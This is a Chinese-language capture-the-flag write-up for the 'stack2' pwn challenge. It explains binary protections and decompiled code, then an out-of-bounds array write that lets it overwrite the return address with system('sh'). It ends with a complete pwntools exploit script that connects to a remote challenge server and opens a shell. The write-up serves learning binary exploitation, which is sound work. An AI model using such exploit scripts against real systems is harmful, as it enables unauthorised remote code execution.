检查保护机制
Arch:
表示目标文件的架构,这里是
i386-32-little
,即 32 位的小端架构。RELRO:
表示 Read-Only Relocation,即只读重定位。这是用来防止某些类型的攻击(如 GOT 表攻击)的安全特性。
结果显示为
Partial RELRO
,意味着部分重定位是只读的,但不是全部。Stack:
表示栈保护机制。这里显示
Canary found
,意味着启用了栈保护,即在栈中插入了一个“金丝雀”值,用于检测栈溢出攻击。NX:
表示 No eXecute 位,用于防止在栈上执行代码,从而防止缓冲区溢出攻击。
结果显示
NX enabled
,意味着该特性已启用。PIE:
表示 Position Independent Executable,即位置无关可执行文件。这种文件在内存中的加载地址是随机的,可以增加攻击者利用漏洞的难度。
结果显示
No PIE (0x8048000)
,意味着该二进制文件不是位置无关的,且有一个固定的加载地址。Stripped:
表示二进制文件是否被剥离了调试信息。
结果显示
No
,意味着该文件没有被剥离,仍然包含调试信息。
Canary(堆栈保护)
- 原理:堆栈保护通常是在函数的栈帧中放置一个特殊的值,称为 “金丝雀值”(Canary Value)。这个值在函数调用时被初始化,并且在函数返回前会被检查。如果金丝雀值被修改了,就意味着栈可能发生了缓冲区溢出等攻击,程序会立即终止,从而防止攻击者利用栈溢出执行恶意代码。
- 作用:有效地防止了基于栈溢出的攻击,如通过覆盖函数返回地址来控制程序执行流程的攻击方式。攻击者如果想要利用栈溢出漏洞,就必须先绕过金丝雀值的检查,这增加了攻击的难度。
NX(执行保护)
- 原理:NX(No eXecute)位是一种硬件级别的保护机制,它将内存区域标记为不可执行。在现代操作系统中,内存被分为不同的段,如代码段、数据段、堆栈段等。通过设置 NX 位,可以确保数据段和堆栈段等不包含可执行代码,从而防止攻击者将恶意代码注入到这些区域并执行。
- 作用:NX 保护可以防止攻击者在数据区域或堆栈区域中执行恶意代码,即使攻击者成功地利用了缓冲区溢出等漏洞来写入恶意代码,由于该区域不可执行,恶意代码也无法运行,从而有效地保护了系统的安全。
PIE(位置无关可执行文件)
- 原理:PIE 使得可执行文件在加载到内存时,其地址是随机化的。在传统的可执行文件中,代码和数据的地址在编译时就已经确定,这使得攻击者可以相对容易地预测程序中函数和变量的地址,从而进行针对性的攻击。而 PIE 通过在运行时随机化程序的加载地址,每次程序运行时的地址都不同,攻击者难以准确地找到要攻击的目标地址。
- 作用:PIE 技术增加了攻击者利用漏洞进行攻击的难度,因为他们无法事先确定程序在内存中的具体位置,从而有效地防御了许多基于地址预测的攻击,如缓冲区溢出攻击中通过覆盖函数指针来执行恶意代码的方式。
RELRO(Relocation Read-Only)
是一种用于增强程序安全性的技术,主要用于防止对程序的重定位表进行恶意修改,从而抵御一些针对动态链接的攻击。
作用
- 保护重定位表:在动态链接的程序中,重定位表包含了程序在运行时需要修改的地址信息。RELRO 通过将重定位表设置为只读或部分只读,防止攻击者在程序运行时篡改这些地址,从而避免了一些利用重定位表进行的攻击,如函数指针劫持、GOT(Global Offset Table)覆盖等。
- 增强程序安全性:通过限制对重定位表的写访问,RELRO 使得攻击者更难以通过修改程序的重定位信息来实现恶意目的,提高了程序的整体安全性,降低了遭受缓冲区溢出、格式化字符串攻击等漏洞利用的风险。
类型
- Partial RELRO:部分 RELRO 是默认的链接选项。它将 GOT 的一部分(通常是用于解析函数地址的部分)设置为只读,但仍然允许对其他部分进行写入。这种方式在一定程度上提高了安全性,但仍然存在一些可被利用的空间。
- Full RELRO:Full RELRO 将整个 GOT 和重定位表都设置为只读,提供了更严格的安全性。在这种模式下,程序在启动时会完成所有必要的重定位操作,之后重定位表就不可再修改,大大增强了程序对各种攻击的抵抗力。
实现原理
- 在链接阶段,链接器会根据程序的代码和数据布局,生成重定位表,并根据 RELRO 的设置将相应的段标记为只读或可读写。在程序运行时,操作系统的内存管理机制会根据这些标记来限制对相应内存区域的访问权限。当程序试图对只读的重定位表进行写入操作时,操作系统会触发内存访问错误,阻止程序的非法行为。
分析思路
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5); // 输入的数字数量
puts("Give me your numbers");for ( i = 0; i < v5 && i <= 99; ++i )
{
__isoc99_scanf("%d", &v7); // 最多输入100个数字
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6); // 选项
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 ) // j<=99
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, (char)v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7; // v5作为索引,并且没有对v5进行检查,可能导致数组越界
}
if ( v6 != 4 )
break;
v9 = 0;
for ( m = 0; m < j; ++m )
v9 += (char)v13[m];
}
return 0;
}
这大概是一个简单的计算程序, for ( i = 0; i < v5 && i <= 99; ++i ),根据你输入的数字数量,进行100次循环,每次循环输入的数字储存在v13数组中。for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )开始进入无限循环,显示一个包含了展示数字,添加数字,更改数字,算平均值,退出,scanf函数读取输入的数字。
如果选择2,就是添加数字
这地方可能存在数组越界漏洞, v3 = j++;v13[v3] = v7;v3作为了v13的索引,后续也没有对v3检查,v3由j决定,此时v3可能大于或等于v13数组的大小。
如果选1,程序会挨个打印每个数字,并将每个数字转为char类型,可能发生数据截断
如果选3,输入v5是要更改的数字,输入v7是新数字,但v13[v5] = v7;又将v5作为v13数组的索引,也会发生数组越界。
看左边函数表就可以发现后门函数,想办法执行这个函数,不过我们要利用的是“/bin/sh”,所以还要计算具体的地址
先找出system的函数地址,0x08048450,至于为什么不是0x080485B4,我找不到原因,问了ai他只说PLT 表中的地址在程序运行时是固定的,因此攻击过程更加稳定。
看了一个大佬的解题,有一个简单的方法获得‘sh’的地址,作者在这XCTF pwn stack2_xctf pwnstack-优快云博客
对着'/bin/bash'按D键,会出现上图,点yes
就可以具体到'sh'的地址
我们需要将最终的返回地址修改成‘sh’的函数地址,最终获取shell,那么就需要计算数组v13的首地址到主函数结束(return 0)的偏移量,通过动态调试,可以查看v13的首地址
在 0x080486d5处v13数组出现,从push开始压入栈中一个v7,作为scanf的参数,调用___isoc99_scanf函数,读取v7值并储存到var_88,add清理栈空间,恢复esp的值,将用户输入的整数(存储在 var_88
中)加载到寄存器 eax
中,又将eax的值赋给ecx,将 var_70
的地址加载到寄存器 edx
中。var_70
可能是一个数组或缓冲区的首地址,将 var_7C
的值加载到寄存器 eax
中。var_7C
可能是一个偏移量或索引值,将 var_7C
的值与 var_70
的地址相加,计算目标地址,将 ecx
的低字节(cl
)存储到目标地址(eax
)指向的内存中,v13的首地址就在ecx中。可以在080486D5处下断点。
同时在 return 0处下断点,求得主函数的返回地址
可以看出首地址是0xffffcf18
返回地址是 0xffffcf9c,偏移量0xffffcf9c-0xffffcf18=0x84
因为后续的change numbers中会把v13转化为char类型,而char类型是需要一个一个字节去修改,我们需要将sh和system的地址改成0x50,0x84,0x04,0x08这种,为什么反着呢,因为这个程序是是小端程序
在小端模式(Little-Endian)的程序中,数据的存储方式是低字节在前,高字节在后。这意味着在内存中,一个整数的最低有效字节(LSB)会被存储在最低的内存地址上,而最高有效字节(MSB)会被存储在最高的内存地址上。
小端模式的特点
假设有一个 4 字节的整数
0x12345678
,在小端模式下,它在内存中的存储方式如下:
内存地址低 → 内存地址高
78
|56
|34
|12
那么就可以写payload了
EXP
from pwn import *
ben = remote('223.112.5.141',52209)
system_addr = [0x50,0x84,0x04,0x08]
sh_addr = [0x87,0x89,0x04,0x08]
pian = 0x84
#偏移量
ben.sendlineafter("How many numbers you have:\n",str(1))
ben.sendlineafter("Give me your numbers\n",str(1))
#先输入1进入程序
def change(ch_addr,ch_new):#供修改地址,选择3,修改v13内的地址,使最终返回地址为‘sh’的地址
ben.sendlineafter("5. exit\n",b'3')
ben.sendlineafter("which number to change:\n",str(ch_addr))
ben.sendlineafter("new number:\n",str(ch_new))
for i in range(4):
change(pian + i,system_addr[i])
#先修改成system的地址
pian += 8
#修改 system 函数的参数地址,使其指向 /bin/sh 字符串
for i in range(4):
change(pian + i,sh_addr[i])
ben.sendlineafter("5. exit\n",b'5')
ben.interactive()